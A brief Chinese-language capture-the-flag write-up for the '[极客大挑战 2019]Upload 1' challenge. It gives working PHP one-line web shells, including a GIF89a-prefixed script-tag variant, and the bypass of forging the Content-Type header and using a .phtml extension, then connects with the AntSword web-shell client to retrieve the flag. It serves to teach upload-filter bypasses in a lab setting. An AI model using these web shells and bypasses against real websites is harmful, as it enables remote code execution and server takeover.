[极客大挑战 2019]Upload 1

上传什么都提示：

提示要上传图片
上传一句话木马：

<?php eval($_POST['b'])?>
<?php $_GET['a']($_POST['b'])?>

抓包，将Content-Type里面的格式改为image/jpeg

提示：
换个一句话木马：

GIF89a? <script language="php">eval($_REQUEST[1])</script>

上传成功
现在需要知道图片的保存路径了。
一般都是upload/filename
访问一下


发现有we.txt文件
这样就好办了，拿蚁剑连接吧。
在蚁剑连接的过程中，网页要保持代理状态
密码是1
做到这里，突然发现只有phtml结尾的文件可以用蚁剑连接上
后来发现绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht
蚁剑只连接以上的后缀，但是除了phtml其它都被过滤了
连上后：在根目录下面发现了flag